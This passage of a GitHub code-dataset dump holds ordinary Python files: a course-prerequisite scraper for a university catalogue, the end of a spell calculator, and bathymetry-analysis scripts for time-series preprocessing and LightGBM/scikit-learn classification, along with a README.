spell also inherits from the default spell to avoid unnecessary duplication\n default_spell = spells['default spell']\n for key in default_spell:\n if key not in spell_attributes:\n spell_attributes[key] = default_spell[key]\n\n return cls(spell_name, spell_attributes, all_modifiers, verbose)\n\n def __str__(self):\n text = \"{0}: {1}\".format(self.name, self.calculate_level())\n if self.verbose:\n text += \"\\n({0})\".format(pprinter.pformat(self.attributes))\n return text\n\ndef super_get(nested_dict, thing):\n try:\n return nested_dict[thing]\n except TypeError:\n if len(thing.keys()) > 1:\n raise Exception(\"Can't super_get with dict that has more than one key: {0}\".format(thing))\n key = thing.keys()[0]\n value = thing[key]\n try:\n return super_get(nested_dict[key], value)\n except KeyError:\n raise Exception(\"Can't find key {0} in {1}\".format(key, nested_dict))\n except KeyError:\n raise Exception(\"Can't find key {0} in {1}\".format(thing, nested_dict))\n\nif __name__ == '__main__':\n args = initialize_argument_parser()\n data = import_data(args)\n spells = data['spells']\n all_modifiers = data['modifiers']\n if args['spell_name']:\n for spell_name in args['spell_name']:\n spell = Spell.create_by_name(spell_name, spells, all_modifiers, verbose = True)\n print spell\n pprint(spell.modifiers)\n print\n else:\n for spell_name in sorted(spells.keys()):\n if spell_name == 'default spell':\n continue\n spell = Spell.create_by_name(spell_name, spells, all_modifiers, args['verbose'])\n if args['type'] and not spell.has_nested_attribute(args['type']):\n continue\n print spell\n if args['verbose']:\n print spell.modifiers\n print\n" } ]
2
tkoz0/quacs-scraper
https://github.com/tkoz0/quacs-scraper
a6387e6a5a8a3e21c4107a123d60fcc46515e6f2
eb7fb94cc60fef55d6b55dd75525f2d8022563f6
ad5f3ac1cba32dc6253dab054223ffb2fdafc4de
refs/heads/master
2022-11-29T23:40:03.934630
2020-07-31T03:17:37
2020-07-31T03:17:37
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5127792954444885, "alphanum_fraction": 0.5190348625183105, "avg_line_length": 32.70481872558594, "blob_id": "99161e7ee199134e77130714bb15b1300ddac82a", "content_id": "32a9d8f55339a3b9baf95974be45c3438d7d744f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5595, "license_type": "permissive", "max_line_length": 186, "num_lines": 166, "path": "/prerequisites_scraper/main.py", "repo_name": "tkoz0/quacs-scraper", "src_encoding": "UTF-8", "text": "import requests\nimport bs4\nimport json\nfrom tqdm import tqdm\nimport re\n\nregex_list = ['\\s*Undergraduate level\\s*', '\\s*Graduate level\\s*', '\\s*Minimum Grade of [ABCDF]\\s*', '\\s*Prerequisite Override 100\\s*(or|and)', '(or|and)\\s*Prerequisite Override 100\\s*']\ncourse_regex = re.compile(\"[a-zA-Z]{4}(?:-| )\\d{4}\")\ndef parse_prerequisites(prerequisites):\n clean = []\n for part in prerequisites:\n new_text = part\n for regex_match in regex_list:\n new_text = re.sub(regex_match, '', new_text)\n if(not course_regex.match(part)):\n new_text = re.sub('\\s?or\\s?', 'o', new_text)\n new_text = re.sub('\\s?and\\s?', 'a', new_text)\n if(new_text):\n clean.append(new_text)\n\n (output, _, _) = recursive_parse(clean)\n\n return output\n\n\ndef recursive_parse(prerequisites):\n output = {\n \"type\":\"solo\",\n \"solo\":[],\n \"nested\":[]\n }\n new_index = 0\n new_char_index = 0\n for (index,part) in enumerate(prerequisites):\n if(new_index):\n new_index-=1\n continue\n for (char_ind,char) in enumerate(part):\n if(char_ind<new_char_index):\n continue\n if(course_regex.match(part)):\n output['solo'].append(part)\n break\n else:\n if(char == \" \"):\n pass\n elif(char == \"(\"):\n (new_output, new_index, new_char_index) = recursive_parse(prerequisites[index+1:])\n new_char_index+=1\n output['nested'].append(new_output)\n pass\n elif(char == \")\"):\n return (output, index, char_ind)\n pass\n elif(char=='o'):\n output['type']=\"or\"\n elif(char=='a'):\n output['type']=\"and\"\n else:\n print(\"ERROR: Should not be here\")\n exit(1)\n return (output, index, char_ind)\n\n\ndef get_prereq_string(term, crn):\n r = requests.get(f\"https://sis.rpi.edu/rss/bwckschd.p_disp_detail_sched?term_in={term}&crn_in={crn}\")\n soup = bs4.BeautifulSoup(r.text, features=\"lxml\")\n\n el = soup.find(attrs={\"summary\" : \"This layout table is used to present the seating numbers.\"})\n el = el.next_sibling\n\n section = \"\"\n data = {}\n while(el):\n if(el.string):\n if(el.name == 'span'):\n section = \"_\".join(el.string.lower().split())\n section = ''.join([i for i in section if i.isalpha() or i==\"_\"])\n if(section not in data):\n data[section] = []\n el = el.next_sibling\n continue;\n\n if(section):\n if(el.string.strip()):\n data[section].append(el.string.strip())\n\n\n el = el.next_sibling\n\n if('prerequisites' in data):\n data['prerequisites'] = parse_prerequisites(data['prerequisites'])\n\n if('corequisites' in data):\n data['corequisites'] = [ \"-\".join(course.split()) for course in data['corequisites'] ]\n\n if('cross_list_courses' in data):\n data['cross_list_courses'] = [ \"-\".join(course.split()) for course in data['cross_list_courses'] ]\n\n if('restrictions' in data):\n data['restrictions_clean'] = {}\n section = \"\"\n subsection = \"\"\n for part in data['restrictions']:\n if(part.endswith('Majors:')):\n section = \"major\"\n data['restrictions_clean'][section] = {}\n elif(part.endswith('Levels:')):\n section = \"level\"\n data['restrictions_clean'][section] = {}\n elif(part.endswith('Classifications:')):\n section = \"classification\"\n data['restrictions_clean'][section] = {}\n elif(part.endswith('or Concentration):')):\n section = \"field_of_study\"\n data['restrictions_clean'][section] = {}\n elif(part.endswith('Degrees:')):\n section = \"degree\"\n data['restrictions_clean'][section] = {}\n elif(part.endswith('Colleges:')):\n section = \"college\"\n data['restrictions_clean'][section] = {}\n elif(part.endswith('Campuses:')):\n section = \"campus\"\n data['restrictions_clean'][section] = {}\n\n if(part.startswith('Must be enrolled')):\n subsection = \"must_be\"\n data['restrictions_clean'][section]['must_be'] = []\n continue\n elif(part.startswith('May not be enrolled')):\n subsection = \"may_not_be\"\n data['restrictions_clean'][section]['may_not_be'] = []\n continue\n\n\n if(section):\n data['restrictions_clean'][section][subsection].append(part)\n data['restrictions'] = data['restrictions_clean']\n del data['restrictions_clean']\n\n\n print(json.dumps(data, indent=4))\n return data\n\n\nprerequisites = {}\n\n# For testing\n# get_prereq_string(202009, 28329)\n# exit()\n\ncrns = []\nwith open('courses.json') as json_file:\n courses = json.load(json_file)\n for department in courses:\n for course in department['courses']:\n for section in course['sections']:\n crns.append(section['crn'])\n\nfor crn in tqdm(crns):\n print(crn)\n prerequisites[crn] = get_prereq_string(202009, crn)\n\nwith open('prerequisites.json', 'w') as outfile:\n json.dump(prerequisites, outfile, indent=4)\n" } ]
1
sharababy/BeltML
https://github.com/sharababy/BeltML
138b3373a1616adb368dda82f8423d91ad043506
554873b484b87fac0609a920f4c1223b2961a1de
b49ff8f52c11cda0aa9e79242b534f8ff48128e0
refs/heads/master
2020-05-09T09:24:15.317032
2019-04-15T10:07:45
2019-04-15T10:07:45
180,999,205
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.6152513027191162, "alphanum_fraction": 0.6828423142433167, "avg_line_length": 27.899999618530273, "blob_id": "580f89e6cd6af70c3485ee855a7b098af4697626", "content_id": "7d8957d30e58ee7eb05c5464a316afe53b38891b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 577, "license_type": "no_license", "max_line_length": 70, "num_lines": 20, "path": "/combine.py", "repo_name": "sharababy/BeltML", "src_encoding": "UTF-8", "text": "import numpy as np \n\n\ndata0 = np.genfromtxt('tseries_2_ideal_7_5.csv', delimiter=',')\ndata1 = np.genfromtxt('tseries_2_overtension_7_5.csv', delimiter=',')\ndata2 = np.genfromtxt('tseries_2_undertension_7_5.csv', delimiter=',')\n\n\n# adding target values to predict\n# 0 = correct \n# 1 = wrong\ndata0_wt = np.insert(data0, 56, 0, axis=1)\ndata1_wt = np.insert(data1, 56, 1, axis=1)\ndata2_wt = np.insert(data2, 56, 1, axis=1)\n\ndataset = np.concatenate((data0_wt,data1_wt,data2_wt),axis=0)\n\nprint(dataset.shape)\n\nnp.savetxt(\"tseries_2_all_7_5_t.csv\",dataset,delimiter=',', fmt='%f',)" }, { "alpha_fraction": 0.6895674467086792, "alphanum_fraction": 0.7082273364067078, "avg_line_length": 26.34883689880371, "blob_id": "0828b5e1690563bd7d3d69b9ee51801e76aaf231", "content_id": "747cc2469780de55952c9521724cf7e9e0aceecf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1179, "license_type": "no_license", "max_line_length": 70, "num_lines": 43, "path": "/classifier.py", "repo_name": "sharababy/BeltML", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn import tree\nfrom sklearn.naive_bayes import GaussianNB\n\nimport graphviz \n\ndataset = np.genfromtxt('tseries_1,2_all_7_5_t.csv', delimiter=',')\n\nnp.random.shuffle(dataset)\n\nsplit_length = 1200\n\nX_train,y_train = dataset[:split_length,:-1],dataset[:split_length,-1]\nX_test, y_test = dataset[split_length:,:-1],dataset[split_length:,-1]\n\nprint(\"Train shape (Rows,datapoints):\",X_train.shape)\nprint(\"Test shape: (Rows,datapoints)\",X_test.shape)\n\nclf = GradientBoostingClassifier(n_estimators=100, learning_rate=1.0,\n max_depth=10, random_state=0).fit(X_train, y_train)\n\nprint(\"Accuracy Score (GBT): \",clf.score(X_test, y_test))\n\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train, y_train)\n\nprint(\"Accuracy Score (DTree): \",clf.score(X_test, y_test))\n\n\n# features = [str(x) for x in range(56)]\n# classNames = [\"Good\",\"Bad\"]\n\n# dot_data = tree.export_graphviz(clf, \n# \tout_file=\"decisiontree.dot\",\n# \tfeature_names=features,\n# \tclass_names=classNames,\n# \tfilled=True)\n\n\n# clf = GaussianNB()\n# clf = clf.fit(X_train, y_train)\n# print(\"Accuracy Score (NB): \",clf.score(X_test, y_test))\n\n\n\n" }, { "alpha_fraction": 0.6722571849822998, "alphanum_fraction": 0.6855345964431763, "avg_line_length": 22.04838752746582, "blob_id": "cf0ee73d8001490376bfc67591a8802c5fe3808b", "content_id": "1398ecf3567719d1ad8cd5e45604ea668f25be2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1431, "license_type": "no_license", "max_line_length": 79, "num_lines": 62, "path": "/preprocess.py", "repo_name": "sharababy/BeltML", "src_encoding": "UTF-8", "text": "import numpy as np \n\n# read raw data from csv file\ndata = np.genfromtxt('OvertensionedTrainingData13-04.csv', delimiter=',')\n\n# may need editing per file\n# subset of each row to take as input\n# first index is always 1 , because we need to skip header.\ndatapoints = data[1:,2:]\n\nprint(\"Original shape\",datapoints.shape)\n\n# Defines the number of datarows in each time sequence.\nset_size = 7\n\n# defines the number of overlapping datapoints ...\n# ... between 2 consecutive rows\noverlap_size = 5\n\n\n# init variables\ntimeseries = []\ntset = []\nc = 0\n\n# l should be a perfectly divisible by set_size\n# l is the number of rows taken as input\nl = datapoints.shape[0]\n\n\n'''\nFormula for calculating total number of iterations in the for loop:\n\n(number of rows) + (number of times we read overlapping rows)\n\n= \t\tl \t\t + int(l/set_size)*overlap_size\n\n'''\n\nfor x in range(l + int(l/set_size)*overlap_size ):\n\n\t# if set size id reached,\n\t# add it to the timeseries\n\tif x % set_size == 0 and x != 0:\n\n\t\tif timeseries == []:\n\t\t\ttimeseries = np.array([tset])\n\t\t\t\n\t\telse:\t\t\t\n\t\t\ttimeseries = np.append(timeseries,[tset],axis=0)\n\t\t\t\n\t\ttset = []\n\t\tc += 1\n\n\t# append each row to form the timesequence\n\ttset = np.concatenate((tset,datapoints[x - (c*overlap_size),:]))\n\n\t\nprint(\"Timeseries shape:\",timeseries.shape)\n\n# save the timeseries data as a csv file, (without header)\nnp.savetxt(\"tseries_2_overtension_7_5.csv\",timeseries,delimiter=',', fmt='%f',)\n\n\n" }, { "alpha_fraction": 0.690363347530365, "alphanum_fraction": 0.7646129727363586, "avg_line_length": 27.81818199157715, "blob_id": "1afd0b49054991e7e9529c85ba4a9b24f6052c94", "content_id": "bea58e6bcd3216bff14ae2c37d17546a03cdb63d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 633, "license_type": "no_license", "max_line_length": 94, "num_lines": 22, "path": "/Readme.md", "repo_name": "sharababy/BeltML", "src_encoding": "UTF-8", "text": "# BeltML\n\nML Models applied to data collected from vibrations sensors,temprature sensors and tacometers.\n\nLibraries used: Scikit Learn, Numpy\n\n## Files:\npreprocess.py : for reshaping raw data into timeseries data.\ncombine.py : for combining ideal data and abnormal data into single file\nclassify.py : for calling and running models on the data.\n\n## Current Scores:\nAccuracy Score (GBT): 0.949238578680203\nAccuracy Score (DTree): 0.9441624365482234\nAccuracy Score (GaussianNB): 1.0\n\n## Dataset Size:\nTrain shape (Rows,datapoints): (648, 56)\nTest shape: (Rows,datapoints) (197, 56)\n\noverlap = 5 points\ntime series length = 7 points." } ]
4
arapat/bathymetry-analysis
https://github.com/arapat/bathymetry-analysis
9a5cba918df58c4ad4937d951c3d6760c88e1852
fc65fe79d1e7efc5b6fd1bdb62e9355159854a20
15db7a130b65df13fe68b7a925a3e1f175d3f74f
refs/heads/master
2021-07-20T05:51:00.465471
2020-06-16T15:19:50
2020-06-16T15:19:50
185,289,008
2
2
null
null
null
null
null
[ { "alpha_fraction": 0.5375000238418579, "alphanum_fraction": 0.5701923370361328, "avg_line_length": 34.86206817626953, "blob_id": "e081ba56e18cdc3e38c41a2581692e90642ea900", "content_id": "12def96686465f0aa27e30afccef046dcd8fd169", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1040, "license_type": "no_license", "max_line_length": 86, "num_lines": 29, "path": "/analysis/py-scripts/get-fpr-fixed-fnr.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "import sys\nimport pickle\nimport numpy as np\n\n\n# Positive and negative is swapped in this script\n\ndef get_recall_fixed_fpr(model_name, region_name, filename, fpr):\n with open(filename, \"rb\") as f:\n _, labels, scores, _ = pickle.load(f)\n neg_scores = np.sort(scores[labels == 0])[::-1]\n pos_scores = scores[labels == 1]\n total_pos = pos_scores.shape[0]\n total_neg = neg_scores.shape[0]\n pos_rate = 1.0 * total_pos / (total_pos + total_neg)\n for rho in fpr:\n k = int(rho * len(neg_scores))\n while k + 1 < len(neg_scores) and neg_scores[k] - neg_scores[k + 1] < 1e-8:\n k += 1\n recall = np.sum(pos_scores > neg_scores[k]) # used to be >= may effect result\n rate = 1.0 * recall / total_pos\n rate = 1.0 - rate\n print(\"{} {} {} {} {} {} {}\".format(\n model_name, region_name, total_pos, total_neg, pos_rate, rho, rate))\n\n\nif __name__ == \"__main__\":\n fpr = [0.0001, 0.001, 0.01, 0.02]\n get_recall_fixed_fpr(sys.argv[1], sys.argv[2], sys.argv[3], fpr)\n" }, { "alpha_fraction": 0.5230439305305481, "alphanum_fraction": 0.5551983118057251, "avg_line_length": 33.51852035522461, "blob_id": "454230d57f42e189cf2223f104f34568a0ee6a08", "content_id": "5a357ac3ab688f1628c5191839fdf41a9cbc8b74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 933, "license_type": "no_license", "max_line_length": 83, "num_lines": 27, "path": "/analysis/py-scripts/get-fnr-fixed-fpr.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "import sys\nimport pickle\nimport numpy as np\n\n\ndef get_fnr_fixed_fpr(model_name, region_name, filename, fpr):\n with open(filename, \"rb\") as f:\n _, labels, scores, _ = pickle.load(f)\n pos_scores = scores[labels == 0]\n neg_scores = np.sort(scores[labels == 1])\n\n total_pos = pos_scores.shape[0]\n total_neg = neg_scores.shape[0]\n neg_rate = 1.0 * total_neg / (total_pos + total_neg)\n for rho in fpr:\n k = int(rho * len(neg_scores)) # neg should receive 1\n while k + 1 < len(neg_scores) and neg_scores[k + 1] - neg_scores[k] < 1e-8:\n k += 1\n fn = np.sum(pos_scores > neg_scores[k])\n fnr = 1.0 * fn / total_pos\n print(\"{} {} {} {} {} {} {}\".format(\n model_name, region_name, total_pos, total_neg, neg_rate, rho, fnr))\n\n\nif __name__ == \"__main__\":\n fpr = [0.001, 0.01, 0.1, 0.2, 0.3]\n get_fnr_fixed_fpr(sys.argv[1], sys.argv[2], sys.argv[3], fpr)\n\n" }, { "alpha_fraction": 0.3299388885498047, "alphanum_fraction": 0.34419551491737366, "avg_line_length": 29.625, "blob_id": "682e0e02923287839125c84f9ed330c696bdda0c", "content_id": "17f548a068e6113ee66b421d3233067b23e045c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 491, "license_type": "no_license", "max_line_length": 79, "num_lines": 16, "path": "/analysis/parser/parse_table.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "import sys\n\n\nwith open(sys.argv[1]) as f:\n for i, line in enumerate(f):\n for j, eg in enumerate(line.split(',')):\n try:\n t = float(eg)\n val = \"%.2f\" % (t * 100.0)\n if i + 1 == j:\n print(\"{ \\\\color{blue} \\\\textbf{\" + val + \"} } &\", end=' ')\n else:\n print(val + \" &\", end=' ')\n except:\n print(eg.strip() + \" &\", end=' ')\n print('\\b\\b\\\\\\\\')\n\n" }, { "alpha_fraction": 0.6415094137191772, "alphanum_fraction": 0.650943398475647, "avg_line_length": 14.142857551574707, "blob_id": "23e16258329c76ce7e17b272d72bc4dd219b21cd", "content_id": "cec6a01e90f44f2fa2dc297197185637b2c3c062", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 106, "license_type": "no_license", "max_line_length": 32, "num_lines": 7, "path": "/notes/parse.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "import sys\nimport pandas as pd\n\n\ndf = pd.read_csv(sys.argv[1])\n# print(df[[\"agency\", \"auroc\"]])\nprint(df)\n" }, { "alpha_fraction": 0.2637362778186798, "alphanum_fraction": 0.31083202362060547, "avg_line_length": 21.714284896850586, "blob_id": "e65cf3969cb78cc80d267e3f4c653982f01ddbb1", "content_id": "e2240ac281212b90451da5303c411f2cb6638b5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 637, "license_type": "no_license", "max_line_length": 57, "num_lines": 28, "path": "/analysis/parser/reverse.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "\ns = ''\nwhile True:\n try:\n line = input()\n except:\n break\n s += line + '\\n'\n\nk = 0\nfor line in s.split('\\n'):\n elems = line.split()\n for t in elems:\n try:\n if t[0] == '{' and t[-1] == '}':\n t = \"{ %.2f }\" % (100.0 - float(t[1:-1]))\n elif t[0] == '{':\n t = \"{ %.2f\" % (100.0 - float(t[1:]))\n elif t[-1] == '}':\n t = \"%.2f }\" % (100.0 - float(t[:-1]))\n else:\n t = \"%.2f\" % (100.0 - float(t))\n k += 1\n except:\n pass\n print(t + \" \", end='')\n print(\"\")\n\nprint(k)\n" }, { "alpha_fraction": 0.5445411801338196, "alphanum_fraction": 0.579370379447937, "avg_line_length": 36.29999923706055, "blob_id": "d1c24669a1f33df2569081ade5e81602213c7e7a", "content_id": "3d0967088cc63788c51899f07cba20de371773b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1493, "license_type": "no_license", "max_line_length": 89, "num_lines": 40, "path": "/analysis/py-scripts/get-recall-fixed-fdr.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "import sys\nimport pickle\nimport numpy as np\n\n\ndef get_recall_fixed_fdr(model_name, region_name, filename, fdr):\n with open(filename, \"rb\") as f:\n _, labels, scores, _ = pickle.load(f)\n pos_scores = 1.0 - scores[labels == 0]\n neg_scores = 1.0 - scores[labels == 1]\n total_pos = pos_scores.shape[0]\n total_neg = neg_scores.shape[0]\n neg_rate = 1.0 * total_neg / (total_pos + total_neg)\n\n labels = np.concatenate([np.ones_like(pos_scores), np.zeros_like(neg_scores)])\n scores = np.concatenate([pos_scores, neg_scores])\n order = np.argsort(scores)[::-1]\n scores = scores[order]\n labels = labels[order]\n false_discovery = np.cumsum(1.0 - labels) / np.arange(1.0, labels.shape[0] + 1)\n for i in range(false_discovery.shape[0] - 1, 0, -1):\n if scores[i - 1] - scores[i] < 1e-8:\n false_discovery[i - 1] = false_discovery[i]\n\n false_discovery = false_discovery[::-1]\n scores = scores[::-1]\n for rho in fdr:\n index = np.argmax(false_discovery <= rho)\n if false_discovery[index] > rho:\n recall = 0.0\n else:\n recall_num = np.sum(pos_scores >= scores[index])\n recall = 1.0 * recall_num / total_pos\n print(\"{} {} {} {} {} {} {} {}\".format(\n model_name, region_name, total_pos, total_neg, neg_rate, rho, index, recall))\n\n\nif __name__ == \"__main__\":\n fdr = [0.0001, 0.001, 0.01, 0.02, 0.05]\n get_recall_fixed_fdr(sys.argv[1], sys.argv[2], sys.argv[3], fdr)\n\n" }, { "alpha_fraction": 0.5688017010688782, "alphanum_fraction": 0.57845538854599, "avg_line_length": 26.415966033935547, "blob_id": "7b29d20172c5e3794c032627db038102c9941511", "content_id": "622b6ee536f50e99162609f41adbe4fd485e88fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6526, "license_type": "no_license", "max_line_length": 108, "num_lines": 238, "path": "/old-code/bootstrap/lgb.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\nimport os\nimport sys\nimport pickle\nimport yaml\nimport lightgbm as lgb\nimport multiprocessing\nimport numpy as np\nfrom time import time\nfrom sklearn.metrics import auc\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.metrics import roc_curve\nfrom time import time\n\n\n# In[12]:\n\n\n# for performance\nif os.path.exists(\"./log_file.txt\"):\n print(\"Log file exists. Quit.\")\n sys.exit(1)\nflog = open(\"./log_file.txt\", 'w')\nt0 = time()\n\n\ndef logger(s, show_time=False):\n if show_time:\n msg = \"Current time: %.2f\" % time()\n print(msg)\n flog.write(msg + '\\n')\n msg = \"[%.5f] %s\" % (time() - t0, s)\n print(msg)\n flog.write(msg + '\\n')\n sys.stdout.flush()\n flog.flush()\n\n\ndef print_ts(period=1):\n \"\"\"Create a callback that prints the tree is generated.\n\n Parameters\n ----------\n period : int, optional (default=1)\n The period to print the evaluation results.\n\n Returns\n -------\n callback : function\n The callback that prints the evaluation results every ``period`` iteration(s).\n \"\"\"\n def callback(env):\n \"\"\"internal function\"\"\"\n if period > 0 and (env.iteration + 1) % period == 0:\n logger('Tree %d' % (env.iteration + 1))\n callback.order = 10\n return callback\n\n\n# In[ ]:\n\n\ndef train_lgb(train_data, valid_data, scale_pos_weight, num_leaves, rounds, early_stopping_rounds, max_bin):\n params = {\n 'objective': 'binary',\n 'boosting_type': 'gbdt', # 'goss',\n 'num_leaves': num_leaves,\n 'learning_rate': 0.3,\n 'tree_learner': 'voting',\n 'task': 'train',\n 'num_thread': multiprocessing.cpu_count(),\n 'min_data_in_leaf': 5000, # This is min bound for stopping rule in Sparrow\n 'two_round': True,\n 'scale_pos_weight': scale_pos_weight,\n 'max_bin': max_bin,\n 'bagging_fraction': 0.5,\n 'bagging_freq': rounds,\n 'bagging_seed': int(time()),\n }\n\n logger('Start training...')\n gbm = lgb.train(\n params, train_data, num_boost_round=rounds,\n early_stopping_rounds=early_stopping_rounds,\n fobj=expobj, feval=exp_eval,\n valid_sets=[valid_data], callbacks=[print_ts()],\n )\n logger('Training completed.')\n return gbm\n\n\ndef persist_model(base_dir, gbm, version):\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n txt_model = os.path.join(base_dir, 'model_{}.txt'.format(version))\n pkl_model = os.path.join(base_dir, 'model_{}.pkl'.format(version))\n gbm.save_model(txt_model)\n with open(pkl_model, 'wb') as fout:\n pickle.dump(gbm, fout)\n return (txt_model, pkl_model)\n\n\n# In[ ]:\n\n\ndef run_test(testing_path, pkl_model_path, max_bin):\n # get true labels\n testing = lgb.Dataset(testing_path, params={'max_bin': max_bin})\n testing.construct()\n true = (testing.get_label() > 0) * 2 - 1\n testing = lgb.Dataset(testing_path, params={'max_bin': max_bin})\n\n # load model with pickle to predict\n with open(pkl_model_path, 'rb') as fin:\n pkl_bst = pickle.load(fin)\n\n # Prediction\n preds = pkl_bst.predict(testing_path)\n logger('finished prediction')\n\n # compute auprc\n scores = preds\n loss = np.mean(np.exp(-true * scores))\n precision, recall, _ = precision_recall_curve(true, scores, pos_label=1)\n # precision[-1] = np.sum(true > 0) / true.size\n auprc = auc(recall, precision)\n fpr, tpr, _ = roc_curve(true, scores, pos_label=1)\n auroc = auc(fpr, tpr)\n\n with open(testing_path + \"_score_self\", 'wb') as fout:\n pickle.dump(scores, fout)\n\n logger(\"eval, {}, {}, {}, {}, {}\".format(\n testing_path, pkl_bst.num_trees(), loss, auprc, auroc))\n\n\n# In[ ]:\n\n\ndef expobj(preds, dtrain):\n labels = ((dtrain.get_label() > 0) * 2 - 1).astype(\"float16\")\n hess = np.exp(-labels * preds) # exp(-margin)\n return -labels * hess, hess # grad, hess\n\n\n# self-defined eval metric\n# f(preds: array, train_data: Dataset) -> name: string, eval_result: float, is_higher_better: bool\n# binary error\ndef exp_eval(preds, data):\n labels = ((data.get_label() > 0) * 2 - 1).astype(\"float16\")\n return 'potential', np.mean(np.exp(-labels * preds)), False\n\n\n# In[11]:\n\n\ndef get_datasets():\n train = 'training.libsvm'\n test = 'testing.libsvm'\n ret = []\n logger(\"Listing directories:\")\n for root, _, _ in os.walk(\"./\"):\n if root.endswith(\"libsvm\"):\n # if os.path.exists(os.path.join(root, \"testing.libsvm_score_self\")):\n # print(\"skipping trained file \" + root.strip())\n # continue\n if root.strip().endswith(\"NGDC_libsvm\") or root.strip().endswith(\"JAMSTEC_libsvm\"):\n logger(\"skipping large file \" + root.strip())\n continue\n logger(root)\n ret.append((\n root,\n os.path.join(root, train),\n os.path.join(root, test),\n ))\n print\n return ret\n\n\ndef construct_data(rtrain, max_bin):\n all_train = lgb.Dataset(rtrain, params={'max_bin': max_bin})\n all_train.construct()\n size = all_train.num_data()\n # Split training and validating\n thr = int(size * 0.1)\n training = all_train.subset(list(range(0, thr)))\n validating = all_train.subset(list(range(thr, size)))\n # scale pos weight\n labels = all_train.get_label()\n positive = labels.sum()\n negative = size - positive\n scale_pos_weight = 1.0 * negative / positive\n return ((training, validating), scale_pos_weight)\n\n\n# In[ ]:\n\n\ndef main(config):\n datasets = get_datasets()\n for dataset in datasets:\n for ver in range(10):\n logger(\"start, {}, {}\".format(dataset[0], ver + 1))\n root, rtrain, rtest = dataset\n (train, valid), scale_pos_weight = construct_data(rtrain, config[\"max_bin\"])\n model = train_lgb(\n train,\n valid,\n scale_pos_weight,\n config[\"num_leaves\"],\n config[\"rounds\"],\n config[\"early_stopping_rounds\"],\n config[\"max_bin\"],\n )\n (_, pkl_model_path) = persist_model(root, model, ver + 1)\n run_test(rtest, pkl_model_path, config[\"max_bin\"])\n logger(\"finish, {}\".format(root))\n\n\n# In[ ]:\n\n\nconfig = {\n \"num_leaves\": 31,\n \"rounds\": 400,\n \"max_bin\": 63,\n \"early_stopping_rounds\": 16,\n}\n\n\nif __name__ == '__main__':\n main(config)\n flog.close()\n\n" }, { "alpha_fraction": 0.5881147384643555, "alphanum_fraction": 0.5989344120025635, "avg_line_length": 35.52395248413086, "blob_id": "f62db86b2d7b47b11da2d5883b8e6b74fb8d2708", "content_id": "dc56a7a9992bbb0636802c0a381388a214b0693d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12200, "license_type": "no_license", "max_line_length": 131, "num_lines": 334, "path": "/old-code/trained-one-source/lgb.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\nimport os\nimport sys\nimport pickle\nimport lightgbm as lgb\nimport multiprocessing\nimport numpy as np\nfrom sklearn.metrics import auc\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.metrics import roc_curve\nfrom time import time\n\n\n# In[12]:\nDATA_TYPE = {\n \"M\": 1, # - multibeam\n \"G\": 2, # - grid\n \"S\": 3, # - single beam\n \"P\": 4, # - point measurement\n}\nMAX_WEIGHT = 1.0 / 60000.0\n\n\ndef logger(s, show_time=False):\n if show_time:\n msg = \"Current time: %.2f\" % time()\n print(msg)\n flog.write(msg + '\\n')\n msg = \"[%.5f] %s\" % (time() - t0, s)\n print(msg)\n flog.write(msg + '\\n')\n sys.stdout.flush()\n flog.flush()\n\n\ndef print_ts(period=1):\n \"\"\"Create a callback that prints the tree is generated.\n\n Parameters\n ----------\n period : int, optional (default=1)\n The period to print the evaluation results.\n\n Returns\n -------\n callback : function\n The callback that prints the evaluation results every ``period`` iteration(s).\n \"\"\"\n def callback(env):\n \"\"\"internal function\"\"\"\n if period > 0 and (env.iteration + 1) % period == 0:\n logger('Tree %d' % (env.iteration + 1))\n callback.order = 10\n return callback\n\n\n# In[ ]:\ndef train_lgb(train_data, valid_data, num_leaves, rounds, early_stopping_rounds, max_bin):\n params = {\n 'objective': 'binary',\n 'boosting_type': 'gbdt', # 'goss',\n 'num_leaves': num_leaves,\n 'learning_rate': 0.1,\n 'tree_learner': 'serial',\n 'task': 'train',\n 'num_thread': multiprocessing.cpu_count(),\n 'min_data_in_leaf': 5000, # This is min bound for stopping rule in Sparrow\n 'two_round': True,\n 'is_unbalance': True,\n 'max_bin': max_bin,\n }\n\n logger('Start training...')\n gbm = lgb.train(\n params, train_data, num_boost_round=rounds,\n early_stopping_rounds=early_stopping_rounds,\n # fobj=expobj, feval=exp_eval,\n valid_sets=[train_data, valid_data], 